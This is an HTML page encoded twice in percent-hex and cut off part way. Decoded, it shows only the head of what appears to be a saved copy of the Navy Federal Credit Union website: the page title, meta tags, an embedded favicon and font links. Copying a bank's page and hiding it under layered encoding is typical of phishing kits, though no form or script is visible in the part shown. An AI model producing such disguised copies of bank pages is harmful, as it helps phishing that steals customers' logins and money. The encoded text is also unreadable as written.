%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%63%25%36%31%25%36%65%25%36%37%25%37%35%25%36%31%25%36%37%25%36%35%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%34%35%25%36%65%25%36%37%25%36%63%25%36%39%25%37%33%25%36%38%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%32%25%36%35%25%37%36%25%36%39%25%37%33%25%36%39%25%37%34%25%32%64%25%36%31%25%36%36%25%37%34%25%36%35%25%37%32%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%33%31%25%32%30%25%36%34%25%36%31%25%37%39%25%37%33%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%32%25%36%66%25%36%32%25%36%66%25%37%34%25%37%33%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%34%31%25%34%63%25%34%63%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%32%25%36%31%25%37%34%25%36%39%25%36%65%25%36%37%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%34%37%25%36%35%25%36%65%25%36%35%25%37%32%25%36%31%25%36%63%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%36%25%36%35%25%37%32%25%36%39%25%36%36%25%37%39%25%32%64%25%37%36%25%33%31%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%37%36%25%36%35%25%36%65%25%33%39%25%33%36%25%35%35%25%34%62%25%36%37%25%36%39%25%33%30%25%34%33%25%35%32%25%33%39%25%36%62%25%35%61%25%34%32%25%34%66%25%35%35%25%32%62%25%37%32%25%34%34%25%34%37%25%33%35%25%34%38%25%36%66%25%37%38%25%34%39%25%34%63%25%36%38%25%37%32%25%35%36%25%37%33%25%35%32%25%35%35%25%34%34%25%37%35%25%37%36%25%37%30%25%34%63%25%33%34%25%37%32%25%36%66%25%37%37%25%33%64%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%38%25%37%34%25%37%34%25%37%30%25%32%64%25%36%35%25%37%31%25%37%35%25%36%39%25%37%36%25%33%64%25%32%32%25%36%39%25%36%64%25%36%31%25%36%37%25%36%35%25%37%34%25%36%66%25%36%66%25%36%63%25%36%32%25%36%31%25%37%32%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%36%65%25%36%66%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%64%25%36%35%25%37%34%25%36%31%25%32%30%25%36%38%25%37%34%25%37%34%25%37%30%25%32%64%25%36%35%25%37%31%25%37%35%25%36%39%25%37%36%25%33%64%25%32%32%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%32%32%25%32%30%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%33%64%25%32%32%25%37%34%25%36%35%25%37%38%25%37%34%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%33%62%25%32%30%25%36%33%25%36%38%25%36%31%25%37%32%25%37%33%25%36%35%25%37%34%25%33%64%25%35%35%25%35%34%25%34%36%25%32%64%25%33%38%25%32%32%25%33%65%25%30%64%25%30%61%25%30%64%25%30%61%25%33%63%25%37%34%25%36%39%25%37%34%25%36%63%25%36%35%25%33%65%25%34%65%25%36%31%25%37%36%25%37%39%25%32%30%25%34%36%25%36%35%25%36%34%25%36%35%25%37%32%25%36%31%25%36%63%25%32%30%25%34%33%25%37%32%25%36%35%25%36%34%25%36%39%25%37%34%25%32%30%25%35%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%32%64%25%32%30%25%34%66%25%37%35%25%37%32%25%32%30%25%34%64%25%36%35%25%36%64%25%36%32%25%36%35%25%37%32%25%37%33%25%32%30%25%36%31%25%37%32%25%36%35%25%32%30%25%37%34%25%36%38%25%36%35%25%32%30%25%34%64%25%36%39%25%37%33%25%37%33%25%36%39%25%36%66%25%36%65%25%61%65%25%33%63%25%32%66%25%37%34%25%36%39%25%37%34%25%36%63%25%36%35%25%33%65%25%30%64%25%30%61%25%30%64%25%30%61%25%30%64%25%30%61%25%30%64%25%30%61%25%33%63%25%36%63%25%36%39%25%36%65%25%36%62%25%32%30%25%37%32%25%36%35%25%36%63%25%33%64%25%32%32%25%37%33%25%36%38%25%36%66%25%37%32%25%37%34%25%36%33%25%37%35%25%37%34%25%32%30%25%36%39%25%36%33%25%36%66%25%36%65%25%32%32%25%32%30%25%36%34%25%36%31%25%37%34%25%36%31%25%32%64%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%36%36%25%36%31%25%37%36%25%36%39%25%36%33%25%36%66%25%36%65%25%32%65%25%36%39%25%36%33%25%36%66%25%32%32%25%32%30%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%39%25%36%64%25%36%31%25%36%37%25%36%35%25%32%66%25%37%38%25%32%64%25%36%39%25%36%33%25%36%66%25%36%65%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%34%31%25%34%31%25%34%31%25%34%32%25%34%31%25%34%31%25%34%35%25%34%31%25%34%35%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%35%25%34%31%25%34%39%25%34%31%25%34%32%25%36%66%25%34%32%25%34%31%25%34%31%25%34%31%25%34%36%25%36%37%25%34%31%25%34%31%25%34%31%25%34%33%25%36%37%25%34%31%25%34%31%25%34%31%25%34%31%25%35%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%39%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%35%25%34%31%25%34%39%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%35%31%25%34%31%25%35%31%25%34%31%25%34%31%25%34%32%25%34%64%25%34%63%25%34%31%25%34%31%25%34%31%25%35%34%25%34%33%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%35%25%34%62%25%35%32%25%36%37%25%34%39%25%33%36%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%32%66%25%33%36%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%32%25%33%36%25%35%32%25%36%37%25%34%39%25%33%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%64%25%35%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%32%66%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%32%66%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%37%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%64%25%35%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%32%66%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%36%37%25%37%30%25%34%37%25%34%31%25%36%61%25%33%33%25%33%36%25%35%32%25%36%37%25%34%39%25%33%30%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%36%33%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%36%33%25%34%62%25%35%32%25%36%37%25%34%39%25%32%66%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%33%38%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%35%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%65%25%33%36%25%35%32%25%36%37%25%34%39%25%37%61%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%33%33%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%39%25%34%62%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%35%30%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%36%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%36%37%25%37%30%25%34%37%25%34%31%25%36%61%25%36%61%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%34%39%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%64%25%36%37%25%37%30%25%34%37%25%34%31%25%36%61%25%37%32%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%35%39%25%34%62%25%35%32%25%36%37%25%34%39%25%33%36%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%37%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%39%25%34%62%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%35%30%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%33%35%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%37%37%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%38%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%35%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%37%37%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%35%30%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%33%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%36%65%25%33%36%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%36%65%25%33%36%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%33%33%25%33%36%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%35%30%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%37%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%37%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%35%25%34%62%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%32%25%33%36%25%35%32%25%36%37%25%34%39%25%33%32%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%35%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%34%64%25%36%37%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%34%25%34%33%25%36%62%25%35%39%25%34%33%25%34%65%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%37%39%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%37%36%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%34%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%36%37%25%37%30%25%34%37%25%34%31%25%36%61%25%37%32%25%33%36%25%35%32%25%36%37%25%34%39%25%33%32%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%33%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%33%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%33%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%36%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%35%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%37%25%34%62%25%35%32%25%36%37%25%34%39%25%33%30%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%36%65%25%33%36%25%35%32%25%36%37%25%34%39%25%33%30%25%34%33%25%36%62%25%35%39%25%34%33%25%34%66%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%37%61%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%33%38%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%62%25%35%32%25%36%37%25%34%39%25%37%38%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%32%66%25%33%36%25%35%32%25%36%37%25%34%39%25%33%31%25%34%33%25%36%62%25%35%39%25%34%33%25%35%30%25%36%36%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%35%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%37%37%25%37%30%25%34%37%25%34%31%25%36%61%25%35%31%25%34%62%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%34%65%25%35%31%25%37%30%25%34%37%25%34%31%25%36%61%25%32%66%25%33%36%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%34%64%25%35%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%34%35%25%34%62%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%34%66%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%36%65%25%33%36%25%35%32%25%36%37%25%34%39%25%32%62%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%37%36%25%37%30%25%34%37%25%34%31%25%36%61%25%32%66%25%33%36%25%35%32%25%36%37%25%34%39%25%33%37%25%32%62%25%36%62%25%35%39%25%34%33%25%34%64%25%35%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%37%30%25%34%37%25%34%31%25%36%61%25%35%39%25%34%62%25%35%32%25%36%37%25%34%39%25%33%36%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%33%37%25%33%36%25%35%32%25%36%37%25%34%39%25%33%39%25%32%62%25%36%62%25%35%39%25%34%33%25%35%30%25%32%66%25%37%30%25%34%37%25%34%31%25%36%61%25%37%32%25%33%36%25%35%32%25%36%37%25%34%39%25%33%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%33%38%25%34%31%25%33%38%25%34%31%25%34%31%25%34%64%25%34%31%25%34%34%25%34%31%25%34%31%25%34%33%25%34%31%25%34%31%25%36%36%25%32%66%25%32%66%25%36%37%25%36%62%25%34%38%25%32%66%25%32%66%25%37%37%25%34%31%25%34%31%25%34%34%25%35%31%25%33%34%25%35%33%25%35%33%25%34%35%25%33%35%25%35%38%25%34%36%25%36%64%25%36%39%25%34%39%25%36%63%25%36%37%25%34%31%25%34%31%25%36%35%25%36%65%25%33%34%25%34%31%25%34%31%25%34%35%25%36%38%25%34%65%25%34%36%25%36%64%25%36%38%25%35%61%25%35%39%25%34%32%25%34%61%25%34%39%25%36%37%25%33%35%25%34%31%25%34%31%25%34%31%25%34%63%25%34%62%25%37%39%25%36%37%25%36%62%25%34%35%25%34%31%25%34%31%25%34%39%25%34%31%25%34%32%25%34%35%25%36%38%25%34%63%25%34%31%25%34%31%25%37%37%25%37%37%25%34%64%25%33%38%25%34%31%25%32%62%25%37%37%25%37%33%25%34%31%25%33%64%25%33%64%25%32%32%25%32%30%25%37%34%25%37%39%25%37%30%25%36%35%25%33%64%25%32%32%25%36%39%25%36%64%25%36%31%25%36%37%25%36%35%25%32%66%25%37%38%25%32%64%25%36%39%25%36%33%25%36%66%25%36%65%25%32%32%25%33%65%25%30%64%25%30%61%25%33%63%25%36%63%25%36%39%25%36%65%25%36%62%25%32%30%25%37%32%25%36%35%25%36%63%25%33%64%25%32%32%25%36%31%25%37%30%25%37%30%25%36%63%25%36%35%25%32%64%25%37%34%25%36%66%25%37%35%25%36%33%25%36%38%25%32%64%25%36%39%25%36%33%25%36%66%25%36%65%25%32%32%25%32%30%25%36%34%25%36%31%25%37%34%25%36%31%25%32%64%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%37%33%25%32%66%25%36%39%25%36%64%25%36%31%25%36%37%25%36%35%25%37%33%25%32%66%25%36%31%25%37%30%25%37%30%25%36%63%25%36%35%25%32%64%25%37%34%25%36%66%25%37%35%25%36%33%25%36%38%25%32%64%25%36%39%25%36%33%25%36%66%25%36%65%25%32%64%25%33%37%25%33%32%25%37%38%25%33%37%25%33%32%25%32%64%25%37%30%25%37%32%25%36%35%25%36%33%25%36%66%25%36%64%25%37%30%25%36%66%25%37%33%25%36%35%25%36%34%25%32%64%25%33%31%25%36%34%25%33%36%25%33%32%25%33%38%25%33%38%25%33%38%25%36%32%25%33%34%25%36%32%25%33%36%25%33%36%25%33%32%25%36%31%25%36%36%25%33%39%25%33%31%25%33%34%25%33%32%25%36%35%25%33%33%25%36%33%25%33%33%25%33%38%25%33%35%25%36%36%25%33%34%25%33%32%25%33%33%25%36%36%25%33%33%25%33%32%25%32%65%25%37%30%25%36%65%25%36%37%25%32%32%25%32%30%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%32%32%25%33%65%25%30%64%25%30%61%25%30%64%25%30%61%25%33%63%25%32%31%25%32%64%25%32%64%25%32%30%25%34%39%25%36%64%25%37%30%25%36%66%25%37%32%25%37%34%25%32%30%25%37%34%25%36%38%25%36%39%25%37%33%25%32%30%25%37%37%25%36%31%25%37%39%25%32%30%25%36%36%25%36%66%25%37%32%25%32%30%25%37%30%25%36%35%25%37%32%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%36%65%25%36%33%25%36%35%25%32%30%25%36%37%25%36%31%25%36%39%25%36%65%25%37%33%25%32%30%25%32%64%25%32%64%25%33%65%25%30%64%25%30%61%25%33%63%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%32%30%25%36%34%25%36%31%25%37%34%25%36%31%25%32%64%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%36%36%25%36%66%25%36%65%25%37%34%25%37%33%25%32%65%25%36%37%25%36%66%25%36%66%25%36%37%25%36%63%25%36%35%25%36%31%25%37%30%25%36%39%25%37%33%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%36%33%25%37%33%25%37%33%25%33%66%25%36%36%25%36%31%25%36%64%25%36%39%25%36%63%25%37%39%25%33%64%25%35%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%62%25%35%33%25%36%31%25%36%65%25%37%33%25%32%62%25%35%30%25%37%32%25%36%66%25%33%61%25%33%34%25%33%30%25%33%30%25%32%63%25%33%36%25%33%30%25%33%30%25%32%32%25%33%65%25%32%66%25%32%61%25%32%30%25%36%33%25%37%39%25%37%32%25%36%39%25%36%63%25%36%63%25%36%39%25%36%33%25%32%64%25%36%35%25%37%38%25%37%34%25%32%30%25%32%61%25%32%66%25%30%64%25%30%61%25%34%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%33%25%36%35%25%32%30%25%37%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%64%25%36%39%25%36%63%25%37%39%25%33%61%25%32%30%25%32%37%25%35%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%30%25%35%33%25%36%31%25%36%65%25%37%33%25%32%30%25%35%30%25%37%32%25%36%66%25%32%37%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%33%61%25%32%30%25%36%65%25%36%66%25%37%32%25%36%64%25%36%31%25%36%63%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%37%25%36%35%25%36%39%25%36%37%25%36%38%25%37%34%25%33%61%25%32%30%25%33%34%25%33%30%25%33%30%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%33%25%37%32%25%36%33%25%33%61%25%32%30%25%32%66%25%32%61%25%37%33%25%36%31%25%37%36%25